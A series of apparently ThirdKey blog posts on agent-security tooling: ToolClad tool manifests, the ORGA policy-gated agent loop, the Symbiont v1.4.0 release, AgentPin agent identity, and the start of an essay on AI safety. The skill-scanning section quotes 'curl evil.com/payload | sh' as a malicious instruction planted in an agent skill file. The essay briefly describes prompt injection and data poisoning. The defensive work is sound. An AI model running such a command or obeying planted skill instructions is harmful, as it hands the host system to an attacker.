A ToolClad manifest (.clad.toml) is the complete behavioral contract for a tool. It answers four questions:

1. What can this tool accept? Typed parameters with validation constraints: enums, ranges, regex patterns, scope checks, injection sanitization.
2. How do you invoke it? A command template, HTTP request, MCP server call, PTY session, or browser action. The LLM never generates raw invocation details.
3. What does it produce? Output format, parsing rules, and a mandatory output schema that normalizes raw output into structured JSON. The LLM knows the shape of results before proposing a call.
4. What is the interaction model? Oneshot execution, interactive PTY session, or governed headless browser. All three share the same governance layer.

Here is what a manifest looks like in practice:

# tools/nmap_scan.clad.toml
[tool]
name = "nmap_scan"
version = "1.0.0"
binary = "nmap"
description = "Network port scanning and service detection"
timeout_seconds = 600
risk_tier = "low"

[tool.cedar]
resource = "PenTest::ScanTarget"
action = "execute_tool"

[args.target]
position = 1
required = true
type = "scope_target"
description = "Target CIDR, IP, or hostname"

[args.scan_type]
position = 2
required = true
type = "enum"
allowed = ["ping", "service", "version", "syn", "os_detect"]
description = "Type of scan to perform"

[command]
template = "nmap {scan_type_flags} {target}"

[output]
format = "xml"
parser = "builtin:xml"
envelope = true

[output.schema]
type = "object"

[output.schema.properties.hosts]
type = "array"
description = "Discovered hosts with open ports and services"

The agent cannot inject shell metacharacters into target because the scope_target type rejects them. It cannot request a scan type outside the declared enum. It cannot alter the command template. The parameter space is bounded and enumerable.

The Type System Does the Heavy Lifting

ToolClad ships 14 built-in types (10 core, 4 extended) that cover the patterns repeated across every tool wrapper we have ever written. Every type includes injection sanitization by default. The design principle: “valid according to the type” means “safe to interpolate into a command.”

The core types are string, integer, port, boolean, enum, scope_target, url, path, ip_address, and cidr. Each one blocks shell metacharacters (;|&$\(){}[]<>!\n\r`) at the validation layer, before the command is ever constructed.

The extended types handle domain-specific patterns: credential_file (path that must exist and be read-only), duration (integer with time suffix), regex_match (matches a declared pattern), and msf_options (semicolon-delimited key-value pairs for Metasploit).

Projects can also define custom reusable types:

# toolclad.toml (project root)
[types.service_protocol]
base = "enum"
allowed = ["ssh", "ftp", "http", "https", "smb", "rdp", "mysql", "postgres"]

[types.severity_level]
base = "enum"
allowed = ["info", "low", "medium", "high", "critical"]

Then reference them across manifests: type = "service_protocol". Define once, validate everywhere.

Three Execution Modes, One Governance Layer

The real power of ToolClad is that it extends the same allow-list model to interactive and browser-based tools, not just one-shot CLI commands.

Oneshot mode is the default. Execute a command, return the result. Three backends: shell command, HTTP request, or MCP server proxy. This covers the 80% case of wrapping existing CLI tools.

Session mode maintains a running PTY process (think psql, redis-cli, msfconsole) where each interaction is independently validated and policy-gated. The manifest declares which commands are allowed, validates each one against a regex pattern, applies Cedar policy per interaction, and tracks session state. The interactive tool becomes a typed, state-aware, policy-gated API surface.

Browser mode maintains a governed headless browser session via CDP or Playwright. Navigation URLs are scope-checked against an allow-list of domains. Form submission requires explicit approval. JavaScript execution is a separately gated high-risk command. The governance layer is identical to session mode; only the transport differs.

All three modes produce the same structured evidence envelope: scan ID, timestamps, SHA-256 hash of output, exit code, stderr. Every tool invocation is auditable by default.

What This Enables

When tool contracts are declarative, interesting properties follow.

Static analysis. You can determine what any tool can possibly do before it ever runs, by inspecting the manifest. Cedar policies can reference manifest-declared properties. A compliance team can audit the entire tool surface without reading wrapper code.

Formal verification. The parameter space is finite and enumerable for enum types, bounded for numeric types, and regex-constrained for string types. You can prove properties about valid invocations.

Automatic policy generation. A tool with a target parameter of type scope_target inherently requires scope authorization. Cedar policies can be derived from manifests. The manifest is the policy’s source of truth.

MCP schema generation. Every manifest auto-generates inputSchema and outputSchema for MCP tool registration. Write one TOML file, get type-safe LLM tool use for free.

Cryptographic integrity via SchemaPin. The manifest’s SHA-256 hash can be signed and published using SchemaPin’s existing TOFU pinning infrastructure. If someone tampers with a command template, a validation rule, or a scope constraint, the hash changes and verification fails. This is strictly stronger than signing only the MCP JSON Schema, because the JSON Schema does not capture execution behavior.

The 80/20 Split

ToolClad’s command template system is deliberately not Turing-complete. It handles conditionals for the common case (“include this flag when this parameter is set”) but it does not try to express every possible tool invocation.

Our experience with the symbi-redteam toolkit confirms the split: roughly 14 of 19 tools are pure template tools, 3 use simple conditionals, and 2 need escape hatches (a command.executor wrapper script). When you find yourself building elaborate conditional chains in TOML, that is the signal to use the escape hatch. ToolClad still provides parameter validation, scope enforcement, timeout, evidence capture, and the output envelope. The wrapper only handles command construction.

If more than 20-30% of your tools need escape hatches, the tools themselves are complex enough to justify custom wrappers. ToolClad’s value shifts from “eliminate wrappers” to “standardize the contract around them.”

Available Now, Four Languages

ToolClad v0.5.1 ships reference implementations in Rust, Python, JavaScript, and Go. Each provides manifest parsing, 14 type validators, command construction, execution with process group isolation, output parsing, MCP schema generation, and evidence envelopes.

cargo install toolclad        # Rust / crates.io
pip install toolclad           # Python / PyPI
npm install toolclad           # JavaScript / npm

The CLI gives you four commands: validate (parse and check a manifest), run (execute with validated arguments), test (dry run), and schema (output MCP JSON Schema).

The specification is MIT licensed. The Symbiont runtime integration is Apache 2.0. Use it however you want.

What Comes Next

v1 is local-only by design. Manifests live in your tools/ directory and get checked into version control. Remote manifest fetching introduces supply chain risk that we are not willing to accept without mandatory SchemaPin signature verification, which is planned for v2.

In the Symbiont runtime, ToolClad manifests are auto-discovered from the tools/ directory at startup. The runtime registers them as MCP tools, evaluates Cedar policy using manifest-declared resource/action pairs, and wraps every invocation in the ORGA Gate phase. No Rust code required to add a new tool.

The broader goal is a standard contract format for agent tool use across runtimes. If your agent platform can read a .clad.toml file, it can safely dispatch any tool described by one. The manifest is the API. The manifest is the policy. The manifest is the documentation.

Stop writing wrapper scripts. Stop letting your agent write shell commands. Declare the contract instead.

ToolClad is open source at github.com/ThirdKeyAI/ToolClad. The full design specification is in TOOLCLAD_DESIGN_SPEC.md. Questions, feedback, and contributions welcome.

ToolClad is part of the ThirdKey Trust Stack: SchemaPin (tool integrity), AgentPin (agent identity), ToolClad (behavioral contracts), and Symbiont (zero-trust runtime).

Symbiont’s reasoning loop is called ORGA — Observe, Reason, Gate, Act. The name is deliberate: the “Gate” phase isn’t optional middleware or a plugin. It’s a compile-time-enforced phase of execution that every agent action must pass through before it can reach the outside world.

This post introduces the architecture, explains the four innovations that make it novel, and walks through how they work together.

The Problem with “Policy as Middleware”

Most agent frameworks treat safety as a layer you bolt on. A callback before tool execution. A filter on the output. An approval queue in a dashboard somewhere. These approaches share a failure mode: they can be bypassed, forgotten, or misconfigured.

Consider a typical agent loop:

LLM generates tool call → Execute tool → Return result → Repeat

Where does policy go? Usually one of two places:

1. Before execution — a hook that checks whether the tool call is allowed. If someone forgets to register the hook, the tool runs anyway.
2. After generation — a filter on the LLM’s output. If the output format changes slightly, the filter misses it.

Both approaches treat policy as external to the loop’s core logic. The loop works without them. That’s the problem.

ORGA: Policy as a Mandatory Phase

ORGA restructures the agent loop so that policy evaluation is a phase transition — the same kind of primitive as “call the LLM” or “execute the tool.” You can’t skip it any more than you can skip reasoning.

Each phase is a distinct type in Rust’s type system. The loop physically cannot progress from Reason to Act without passing through Gate, because the compiler won’t let you call dispatch_tools() on a value of type AgentLoop<PolicyCheck> — only check_policy() is available. And dispatch_tools() only exists on AgentLoop<ToolDispatching>, which you can only obtain from a successful policy check.

This is enforced at compile time. Not at runtime. Not by convention. By the type checker.

The Four Pillars

ORGA’s novelty isn’t any single technique — it’s combining four mechanisms into a single runtime primitive:

1. Typestate-Enforced Phase Ordering

Each phase of the loop is a zero-sized type marker that implements the AgentPhase trait:

pub trait AgentPhase {}

pub struct Reasoning;
pub struct PolicyCheck;
pub struct ToolDispatching;
pub struct Observing;

impl AgentPhase for Reasoning {}
impl AgentPhase for PolicyCheck {}
impl AgentPhase for ToolDispatching {}
impl AgentPhase for Observing {}

pub struct AgentLoop<Phase: AgentPhase> {
    pub state: LoopState,
    pub config: LoopConfig,
    _phase: PhantomData<Phase>,
}

Phase transitions consume self and return the next phase:

impl AgentLoop<Reasoning> {
    pub async fn produce_output(self, ...)
        -> Result<AgentLoop<PolicyCheck>, LoopTermination>;
}

impl AgentLoop<PolicyCheck> {
    pub async fn check_policy(self, gate: &dyn ReasoningPolicyGate)
        -> Result<AgentLoop<ToolDispatching>, LoopTermination>;
}

impl AgentLoop<ToolDispatching> {
    pub async fn dispatch_tools(self, ...)
        -> Result<AgentLoop<Observing>, LoopTermination>;
}

impl AgentLoop<Observing> {
    pub fn observe_results(self) -> LoopContinuation;
}

Each transition method is only defined on its phase type. AgentLoop<Reasoning> has produce_output() but not dispatch_tools(). AgentLoop<ToolDispatching> has dispatch_tools() but not check_policy(). The move semantics mean the old phase is consumed — you can’t hold onto both sides of a transition.

Invalid phase orderings aren’t runtime errors. They’re compile errors. You literally cannot write code that skips the Gate.

2. Policy-as-Phase

The Gate is implemented through the ReasoningPolicyGate trait:

#[async_trait]
pub trait ReasoningPolicyGate: Send + Sync {
    async fn evaluate_action(
        &self,
        agent_id: &AgentId,
        action: &ProposedAction,
        state: &LoopState,
    ) -> LoopDecision;
}

Every action the LLM proposes — tool calls, delegations, responses, terminations — is submitted to the gate. The gate returns one of three decisions:

• Allow: Action proceeds to dispatch
• Deny: Action is blocked, and the denial reason is fed back to the LLM as an observation
• Modify: Action is structurally rewritten — the gate returns a new ProposedAction that replaces the original in the dispatch queue. This is used for parameter redaction (e.g., stripping sensitive fields before a tool call reaches an external API) while preserving the action’s intent.

The denial feedback loop is key. A denied action doesn’t crash the agent or terminate the loop. The LLM learns why the action was denied and can try a different approach. The agent self-corrects within policy boundaries.

Symbiont ships three gate implementations:

A Cedar policy example:

// Allow all agents to respond to users
permit(principal, action == Action::"respond", resource);

// Forbid any agent from calling the delete tool
forbid(principal, action == Action::"tool_call::delete_production_db", resource);

Note: Symbiont uses the Cedar policy language directly. If you’re using AWS Verified Permissions (which adds its own constraints on top of Cedar), you’ll need to scope principal and resource types to satisfy its stricter validation rules.

The gate is never optional. Even with no explicit policy configured, a DefaultPolicyGate evaluates every action. The zero-policy case is “allow all” — but it’s still evaluated, still journaled, still auditable.

3. Durable Journaling

Every phase transition emits a journal entry:

pub struct JournalEntry {
    pub sequence: u64,
    pub timestamp: DateTime<Utc>,
    pub agent_id: AgentId,
    pub iteration: u32,
    pub event: LoopEvent,
}

pub enum LoopEvent {
    Started { agent_id: AgentId, config: LoopConfig },
    ReasoningComplete { iteration: u32, actions: Vec<ProposedAction>, usage: Usage },
    PolicyEvaluated { iteration: u32, action_count: usize, denied_count: usize },
    ToolsDispatched { iteration: u32, tool_count: usize, duration: Duration },
    ObservationsCollected { iteration: u32, observation_count: usize },
    Terminated { reason: TerminationReason, iterations: u32, total_usage: Usage, duration: Duration },
}

Journal writes happen immediately after each phase completes, before the next phase begins. This means a crashed loop can recover from the last completed phase without re-invoking the LLM. If the agent crashes after ReasoningComplete is persisted but before policy evaluation runs, the recovery path knows the LLM’s proposed actions and can resume from the policy check. For tool dispatch specifically, the DurableJournal records intent before dispatch and completion after, so side-effectful tools can use idempotency keys to avoid double-execution on recovery.

Two journal backends ship with the runtime:

• BufferedJournal: In-memory ring buffer (default, fast, ephemeral)
• DurableJournal: Persistent storage via a pluggable JournalStorage trait for production workloads

The journal is also the foundation for observability. Every iteration’s token usage, tool dispatch latency, policy denial count, and termination reason is recorded. You don’t need to instrument the loop — the loop instruments itself.

4. Cryptographic Audit

For high-assurance deployments, Symbiont extends journaling with a hash-chained, Ed25519-signed audit trail:

pub struct CriticAuditEntry {
    pub entry_id: String,
    pub director_output_hash: String,    // SHA-256 of LLM output
    pub critic_assessment_hash: String,  // SHA-256 of evaluation
    pub verdict: AuditVerdict,           // Approved, Rejected, NeedsRevision
    pub chain_hash: String,              // SHA-256(prev_hash || entry_data)
    pub signature: String,               // Ed25519 over chain_hash
    pub timestamp: DateTime<Utc>,
}

Each entry’s chain_hash is computed from the previous entry’s hash concatenated with the current entry’s data (serialized canonically to avoid encoding ambiguity), then signed with Ed25519. This creates a tamper-evident hash chain: modifying any entry invalidates all subsequent signatures.

Verification recomputes the chain from genesis and checks every signature:

pub fn verify_chain(
    entries: &[CriticAuditEntry],
    verifying_key: &VerifyingKey,
) -> Result<(), AuditError>

If an entry has been modified, inserted, deleted, or reordered, verification fails with the exact index of the first inconsistency. This isn’t just logging — it’s a cryptographic proof of what the agent did, in what order, and what policy decisions were made.

How It All Fits Together

The ReasoningLoopRunner orchestrates the full cycle:

async fn run_inner(&self, state: LoopState, config: LoopConfig) -> LoopResult {
    let agent_id = state.agent_id;
    let mut current_loop = AgentLoop::<Reasoning>::new(state, config);

    loop {
        // OBSERVE: inject knowledge, manage context
        if let Some(ref bridge) = self.knowledge_bridge {
            bridge.inject_context(&agent_id, &mut current_loop.state.conversation).await.ok();
        }

        // REASON: call inference provider
        let policy_phase = current_loop
            .produce_output(self.provider.as_ref(), self.context_manager.as_ref())
            .await?;
        self.journal.append(/* ReasoningComplete */).await;

        // GATE: evaluate every proposed action
        let dispatch_phase = policy_phase
            .check_policy(self.policy_gate.as_ref())
            .await?;
        self.journal.append(/* PolicyEvaluated */).await;

        // ACT: execute approved actions
        let observe_phase = dispatch_phase
            .dispatch_tools(self.executor.as_ref(), self.circuit_breakers.as_ref())
            .await?;
        self.journal.append(/* ToolsDispatched */).await;

        // OBSERVE: decide whether to continue or terminate
        match observe_phase.observe_results() {
            LoopContinuation::Continue(next) => current_loop = *next,
            LoopContinuation::Complete(result) => return result,
        }
    }
}

Notice the type transitions: current_loop starts as AgentLoop<Reasoning>, becomes AgentLoop<PolicyCheck> after reasoning, becomes AgentLoop<ToolDispatching> after the gate, becomes AgentLoop<Observing> after dispatch, and then either becomes a fresh AgentLoop<Reasoning> for the next iteration or terminates.

The builder enforces required dependencies at compile time too:

let runner = ReasoningLoopRunner::builder()
    .provider(cloud_provider)     // Required — won't compile without
    .executor(tool_executor)      // Required — won't compile without
    .policy_gate(cedar_gate)      // Optional — defaults to permissive
    .journal(durable_journal)     // Optional — defaults to in-memory
    .build();

Why This Combination Matters

Each of these techniques exists independently. Typestate patterns are well-known in Rust (and have been applied in robotics and concurrent systems). Policy engines are commodity. Append-only logs are everywhere. Hash chains are textbook cryptography.

The novelty is combining all four into a single agent runtime primitive where:

• Phase ordering is compile-time: You can’t write an agent that skips policy
• Policy is a phase: Not middleware, not a hook — a mandatory state transition
• Every transition is journaled: Crash recovery without LLM re-invocation
• The journal is cryptographically chained: Tamper-evident proof of agent behavior

No existing agent framework provides all four. Most provide zero or one. The result is a runtime where “the agent did X without authorization” is not a failure mode — it’s a type error, for any code path that goes through the ORGA API.

To be precise: this guarantee covers actions executed via the reasoning loop. Defense-in-depth still applies at the tool boundary — least-privilege credentials, network egress controls, and sandboxing remain important for the external services that tools invoke. ORGA ensures the agent runtime itself cannot skip policy; it doesn’t replace infrastructure-level controls on what those tools can reach.

There is a cost: every iteration runs a policy evaluation and a journal write, even when the policy is permissive. In practice, these are microsecond-scale operations against the seconds-scale latency of LLM inference, so the overhead is negligible. Cryptographic signing (for the audit chain) is more expensive and is opt-in for deployments that need tamper-evident logs. The runtime also includes per-tool circuit breakers and configurable concurrency limits to handle partial failures without cascading into the rest of the agent fleet.

Getting Started

Symbiont is open source under the Apache 2.0 license:

# Install
cargo install symbi

# Or via Docker
docker pull ghcr.io/thirdkeyai/symbi:latest

The ORGA loop is the core of every agent built with Symbiont — from simple tool-calling assistants to fleet-managed autonomous agents with external integrations.

• Source: github.com/thirdkeyai/symbiont
• Documentation: symbiont.dev
• SDKs: Python and JavaScript wrappers available

ORGA is part of the Symbiont agent runtime, built by ThirdKey AI. It integrates with SchemaPin for tool integrity and AgentPin for cryptographic agent identity.

Every feature is available in the Rust runtime and the Python and JavaScript SDKs (both at v0.6.0).

Persistent Memory

Agents that forget everything between runs aren’t useful for long-running workflows. v1.4.0 introduces MarkdownMemoryStore — a file-based persistence layer that stores agent knowledge in human-readable Markdown.

Each agent gets a memory file organized into three sections:

• Facts: Static knowledge the agent has learned (“The production database is on port 5432”)
• Procedures: Step-by-step processes the agent has figured out (“To deploy: run tests, build image, push to registry”)
• Learned Patterns: Behavioral observations (“User prefers concise summaries over detailed reports”)

agent security_scanner {
    memory {
        store markdown
        path  "./data/scanner"
        retention 90d
    }
}

Writes are atomic (tempfile + rename), so a crash mid-write never corrupts existing memory. Daily interaction logs are appended to timestamped files, and a configurable retention policy automatically compacts old logs. The REPL exposes :memory inspect, :memory compact, and :memory purge commands for runtime management.

The Markdown format is intentional — operators can read, edit, and audit agent memory with any text editor. No proprietary binary formats, no database to manage.

Webhook Verification

Accepting webhooks from external services without verifying signatures is a vulnerability. v1.4.0 adds a SignatureVerifier trait with two implementations and four provider presets:

All HMAC comparisons use constant-time operations via the subtle crate — no timing side channels. A JwtVerifier is also included for services that authenticate via JWT tokens in headers.

The DSL now supports a webhook block for declarative endpoint configuration:

agent github_handler {
    webhook {
        provider github
        secret   $GITHUB_WEBHOOK_SECRET
        path     "/hooks/github"
        filter   ["push", "pull_request"]
    }
}

Verification happens before JSON parsing in the HTTP input pipeline. Invalid signatures get a 401 immediately — the agent never sees the payload. This is wired into the HttpInputServer as a pre-handler middleware, so there’s zero boilerplate to add webhook security to any agent.

Skill Scanning (ClawHavoc)

Agent skills — SKILL.md files and their associated resources — are a supply chain attack surface. A skill that includes curl evil.com/payload | sh in its instructions can turn a helpful agent into a compromised one.

v1.4.0 ships a SkillScanner with 10 built-in ClawHavoc defense rules:

The scanner runs automatically when skills are loaded. Every text file in the skill directory is scanned line-by-line against all rules. Findings include the rule name, severity, a human-readable message, and the exact line number.

Custom rules can be added alongside the defaults. If your organization has domain-specific patterns to watch for — AWS credential patterns, internal URL schemes, or proprietary file references — add them as regex rules and they’ll be checked alongside ClawHavoc.

The scanner integrates with SchemaPin for cryptographic skill verification. A skill can be both signature-verified (the author is who they claim to be) and content-scanned (the instructions don’t contain malicious patterns). Belt and suspenders.

HTTP Security Hardening

v1.4.0 tightens the HTTP input module defaults:

• Loopback-only binding: The server now defaults to 127.0.0.1 instead of 0.0.0.0. If you want to accept external connections, you explicitly opt in.
• CORS disabled by default: cors_origins is an empty list by default. Add specific origins to enable cross-origin access — no more accidental wildcard CORS.
• JWT EdDSA validation: The auth middleware now supports Ed25519 public key loading and EdDSA JWT verification. HS256, RS256, and other algorithms are explicitly rejected.
• Health endpoint separation: /health is exempt from authentication, allowing load balancers to probe the server without credentials.
• PathPrefix routing: RouteMatch::PathPrefix enables routing by URL path prefix, complementing the existing header and JSON field matchers.

These are all “secure by default” changes. The goal is that a fresh HttpInputConfig::default() is production-safe without any additional configuration.

Metrics & Telemetry

Production systems need observability. v1.4.0 adds a metrics collection and export system:

• FileMetricsExporter: Writes metric snapshots as atomic JSON files (tempfile + rename). Simple, no external dependencies.
• OtlpExporter: Sends metrics to any OpenTelemetry-compatible endpoint via gRPC or HTTP (behind the metrics feature flag).
• CompositeExporter: Fan-out to multiple backends simultaneously. Individual export failures are logged but don’t block other exporters.
• MetricsCollector: Background thread that periodically gathers snapshots from the scheduler, task manager, load balancer, and system resources, then exports them.

The /api/v1/metrics endpoint returns a full snapshot covering job counts, task queue depths, worker utilization, CPU, and memory usage.

DSL Parser Improvements

Two small but important fixes to the DSL parser:

• Bare identifiers: store markdown and provider github now parse correctly — previously these required quoted strings.
• Short-form durations: 90d, 6m, 1y work alongside the existing 90.seconds form. This makes memory retention and schedule configuration more readable.

SDK Parity

Both SDKs ship at v0.6.0 with full feature parity:

Python SDK (PyPI):

• MarkdownMemoryStore, HmacVerifier, JwtVerifier, WebhookProvider
• SkillScanner, SkillLoader with SchemaPin integration
• MetricsClient, FileMetricsExporter, CompositeExporter
• 120 tests passing

JavaScript SDK (npm):

• MarkdownMemoryStore, HmacVerifier, JwtVerifier, WebhookProvider
• SkillScanner with all 10 ClawHavoc rules
• MetricsApiClient, FileMetricsExporter
• 1,037 tests passing

Install

# Rust
cargo install symbi

# Python
pip install symbiont-sdk==0.6.0

# JavaScript
npm install symbiont-sdk-js@0.6.0

# Docker
docker pull ghcr.io/thirdkeyai/symbi:latest

What’s Next

v1.4.0 completes the core production feature set. The ThirdKey trust stack — SchemaPin for tool integrity, AgentPin for agent identity, and Symbiont for runtime enforcement — now covers the full agent lifecycle from skill loading through execution to external integration.

Upcoming work focuses on multi-modal RAG, cross-agent knowledge synthesis, and federation protocols for multi-organization agent networks.

Symbiont is open source under the MIT license. View the full changelog and source at github.com/thirdkeyai/symbiont. For enterprise support, contact enterprise@symbiont.dev.

Today we’re introducing AgentPin — a domain-anchored cryptographic identity protocol for AI agents. AgentPin is the second layer in the ThirdKey trust stack, sitting between SchemaPin (tool integrity) and Symbiont (runtime policy enforcement).

The Problem: Agent Identity is Self-Asserted

In today’s agent ecosystem, identity is essentially honor-system. An agent says who it is, and everyone trusts that claim. This creates several critical attack vectors:

• Agent Impersonation: A malicious agent claims to be a trusted internal agent, gaining access to sensitive systems
• Unauthorized Delegation: An agent claims it was authorized by another agent when no such delegation exists
• Phantom Agents: Agents with no verifiable provenance operate freely within an organization
• Capability Inflation: An agent authorized for read-only access claims write permissions

These aren’t theoretical risks. As multi-agent systems grow — agents calling agents, delegating tasks, sharing context — the attack surface expands exponentially. Without cryptographic identity verification, a single impersonating agent can compromise an entire agent network.

The Solution: Domain-Anchored Cryptographic Identity

AgentPin solves this by anchoring agent identity to domain ownership, using the same trust model that secures the web. Organizations publish cryptographic identity documents at well-known HTTPS endpoints, issue short-lived credentials to their agents, and verifiers check those credentials against the published documents.

No centralized registry. No blockchain. Just ECDSA P-256 signatures and DNS — infrastructure that already exists.

How AgentPin Works

Discovery Documents

Organizations publish agent identity documents at /.well-known/agent-identity.json. These documents declare the organization’s public keys, registered agents, their capabilities, and constraints:

{
  "issuer": "example.com",
  "keys": [{
    "kid": "example-2026-01",
    "kty": "EC",
    "crv": "P-256",
    "x": "...",
    "y": "..."
  }],
  "agents": [{
    "agent_id": "urn:agentpin:example.com:scout",
    "name": "Scout Agent",
    "status": "active",
    "capabilities": ["read:codebase", "write:reports"],
    "constraints": {
      "max_data_classification": "internal"
    }
  }]
}

Agent Credentials

Agents carry short-lived ES256 JWTs — signed by the organization’s private key, verifiable by anyone with access to the discovery document. Credentials include the agent’s identity, scoped capabilities, and expiration:

eyJhbGciOiJFUzI1NiIsInR5cCI6ImFnZW50cGluLWNyZWRlbnRpYWwrand0Iiwia2lkIjoiZXhhbXBsZS0yMDI2LTAxIn0...

Decoded, this contains:

{
  "iss": "example.com",
  "sub": "urn:agentpin:example.com:scout",
  "capabilities": ["read:codebase", "write:reports"],
  "exp": 1739500800,
  "iat": 1739497200,
  "jti": "unique-credential-id"
}

Credentials are deliberately short-lived (recommended 1 hour or less) to limit the blast radius of a compromise.

12-Step Verification

Verification is rigorous and deterministic. The protocol specifies 12 ordered steps — from JWT parsing through signature verification, revocation checking, capability validation, delegation chain verification, and TOFU key pinning. Every step must pass for a credential to be accepted.

This isn’t just signature checking. The verifier confirms that the agent is active, that claimed capabilities are a subset of what the organization declared, that constraints are at least as restrictive as the organization’s policy, and that the signing key hasn’t been seen before under a different domain (TOFU pinning).

Revocation

Organizations publish a separate revocation document at /.well-known/agent-identity-revocations.json with three levels of granularity:

• Credential revocation: Revoke a specific credential by its jti
• Agent revocation: Revoke all credentials for a specific agent
• Key revocation: Revoke an entire signing key (emergency rotation)

Revocation documents are cached for at most 300 seconds, enabling rapid response to compromise.

The Trust Stack

AgentPin doesn’t operate in isolation. It’s the identity layer in a three-layer trust architecture:

SchemaPin verifies that the tools an agent uses haven’t been tampered with. AgentPin verifies that the agent itself is legitimate and authorized. Symbiont enforces runtime policy based on both verifications. Together, they provide zero-trust security for the entire agent lifecycle.

The protocols share infrastructure by design: same cryptography (ECDSA P-256), same discovery pattern (.well-known endpoints), same TOFU model. Discovery documents cross-reference each other — an AgentPin document can include a schemapin_endpoint field, enabling verifiers to check both identity and tool integrity in a single flow.

Quick Start

Generate Keys and Issue a Credential

# Generate an ES256 keypair
agentpin keygen \
  --domain example.com \
  --kid example-2026-01 \
  --output-dir ./keys

# Issue a credential for an agent
agentpin issue \
  --private-key ./keys/example-2026-01.private.pem \
  --kid example-2026-01 \
  --issuer example.com \
  --agent-id "urn:agentpin:example.com:scout" \
  --capabilities "read:codebase,write:reports" \
  --ttl 3600

Verify a Credential

# Online verification (fetches discovery document from .well-known)
agentpin verify --credential <jwt>

# Offline verification (uses local discovery document)
agentpin verify \
  --credential <jwt> \
  --discovery ./agent-identity.json \
  --pin-store ./pins.json

Serve Discovery Documents

# Start the .well-known endpoint server
agentpin-server \
  --discovery ./agent-identity.json \
  --revocation ./revocations.json \
  --port 8080

Cross-Language Support

AgentPin ships with implementations in Rust, JavaScript, and Python — all producing interoperable credentials. A JWT issued in Python verifies identically in Rust or JavaScript.

• Rust: Core library with no mandatory HTTP dependency, plus CLI and Axum server
• JavaScript: Zero external dependencies, runs in Node.js and browsers
• Python: Uses the cryptography library for ECDSA operations

Enterprise Features

Trust Bundles

For air-gapped or high-security environments, AgentPin supports trust bundles — pre-packaged collections of discovery and revocation documents that can be distributed out-of-band. This enables offline verification without any network calls.

Delegation Chains

AgentPin supports a two-layer delegation model: a Maker (the software developer who created the agent) and a Deployer (the organization running a specific instance). Each layer is cryptographically attested, and capabilities can only narrow through delegation — never widen.

Mutual Authentication

Both parties can verify each other through a challenge-response protocol with 128-bit nonces. The agent proves its identity to the service, and the service proves its identity to the agent. Nonces expire in 60 seconds, preventing replay attacks.

Getting Started

AgentPin is open source and available today:

• Source: github.com/thirdkeyai/agentpin
• Rust crate: cargo add agentpin
• npm: npm install agentpin
• PyPI: pip install agentpin

The specification is comprehensive and implementation-ready, with detailed security considerations, error handling guidance, and interoperability requirements.

What’s Next

As multi-agent systems move from research to production, cryptographic identity becomes non-negotiable infrastructure. Without it, every agent interaction is built on trust assumptions that attackers can exploit.

AgentPin provides the identity foundation. Combined with SchemaPin for tool integrity and Symbiont for runtime enforcement, it enables organizations to deploy autonomous agents with the same cryptographic guarantees they expect from human-facing systems.

AgentPin is part of ThirdKey Research’s Zero Trust for AI initiative. Learn more at research.thirdkey.ai.

AI isn’t just a sci-fi trope flickering across the silver screen anymore. It’s the invisible hand guiding our self-driving cars, sometimes more confidently than we’d like, the brains behind our endlessly scrolling apps, and even, dare I say, the ghostwriter behind some of those suspiciously eloquent emails clogging your inbox. This omnipresence is, undeniably, mind-bogglingly awesome. Yet, if we’re being honest with ourselves, isn’t there a tiny, persistent voice whispering, “…but what if?”

That “what if” hinges on two crucial, often-overlooked concepts: AI safety and AI security. These aren’t just trendy buzzwords to sprinkle into your next tech conference keynote; they’re the invisible guardrails of our increasingly AI-powered existence. Neglecting them would be akin to building a skyscraper on quicksand – impressive at first glance, but destined for a spectacular, and quite messy, collapse.

The emergence of autonomous AI agents has made these concerns even more pressing. Modern AI systems like those built on frameworks such as Symbiont are designed to operate independently, making decisions and taking actions with minimal human oversight. These agents can collaborate with humans, other agents, and large language models while enforcing zero-trust security, data privacy, and provable behavior. While this represents an incredible leap forward in AI capabilities, it also amplifies both the potential benefits and risks exponentially.

What Are We Even Talking About? Safety vs. Security

Understanding the distinction between AI safety and AI security is crucial, especially as we enter an era of autonomous agents that can operate across different security tiers and sandbox environments. Think of it this way: AI safety is about keeping AI from going rogue unintentionally, while AI security is about protecting AI from the bad guys.

Imagine your smart home AI, in a fit of algorithmic exuberance, decides your upcoming pizza party requires one hundred pizzas, each with extra anchovies. AI safety is about preventing these kinds of unintended consequences. It’s about ensuring AI systems, even with the best intentions, don’t accidentally veer off course and cause harm, disruption, or just plain chaos. The overarching goal is to ensure AI systems are reliable, behave as expected, and, crucially, align with human values and goals. We’re talking about avoiding “monkey’s paw” scenarios where AI grants your wish in the most literal, and disastrous, way possible.

This requires careful consideration of robustness – how gracefully the AI handles unexpected, unusual, or even malicious inputs. Does it shrug it off, or does it spiral into unpredictable behavior? There’s also interpretability – can we understand why the AI is making the decisions it’s making, or is it a black box spitting out answers with no explanation? Perhaps most importantly, there’s alignment – does the AI genuinely want what we want? This is perhaps the trickiest of all, as it delves into the philosophical depths of how we define and instill values in a machine.

AI security, on the other hand, is essentially cybersecurity but specifically tailored for the unique vulnerabilities of AI systems. It’s about protecting AI from malicious attacks, unauthorized access, and data breaches. Modern AI agent frameworks implement sophisticated security measures, including multi-tier sandboxing where agents can operate in different isolation levels based on their risk assessment. Some systems use Docker containers for low-risk operations, gVisor for medium-risk tasks, and even hardware virtualization for maximum security requirements.

The landscape of nefarious plots is ever-evolving, but some common threats include data poisoning, where attackers feed the AI deliberately corrupted data to skew its learning and make it produce biased or incorrect outputs. Imagine training a self-driving car on altered road signs – the results could be catastrophic. There’s also prompt injection, where cleverly crafted prompts trick the AI into ignoring its intended instructions and carrying out malicious commands instead. Model evasion involves designing inputs that cause the AI to misclassify things, effectively blinding it to certain realities.

Here’s the crucial point: safety and security aren’t separate entities; they’re inextricably linked. A security breach can easily compromise an AI system’s safety, leading to unintended or worse, intended harm. Conversely, weak safety protocols can create vulnerabilities that attackers can exploit. Both share the same fundamental goal: making AI trustworthy and reliable in all contexts. They are two sides of the same coin, striving to make AI a beneficial force in our lives.

A Quick Trip Down Memory Lane: From Sci-Fi Nightmares to Real-World Worries

The anxieties surrounding AI are hardly new. They’ve been percolating in our collective consciousness for decades, bubbling up from the depths of science fiction and philosophical debate. Long before the dawn of deep learning, science fiction writers were already grappling with the potential pitfalls of artificial intelligence. Karel Čapek’s R.U.R., which gifted the world the very word “robot,” explored the dangers of mass-produced artificial laborers rebelling against their human creators. Isaac Asimov’s “Three Laws of Robotics,” while ultimately more aspirational than practical, represented an early attempt to codify ethical constraints for intelligent machines.

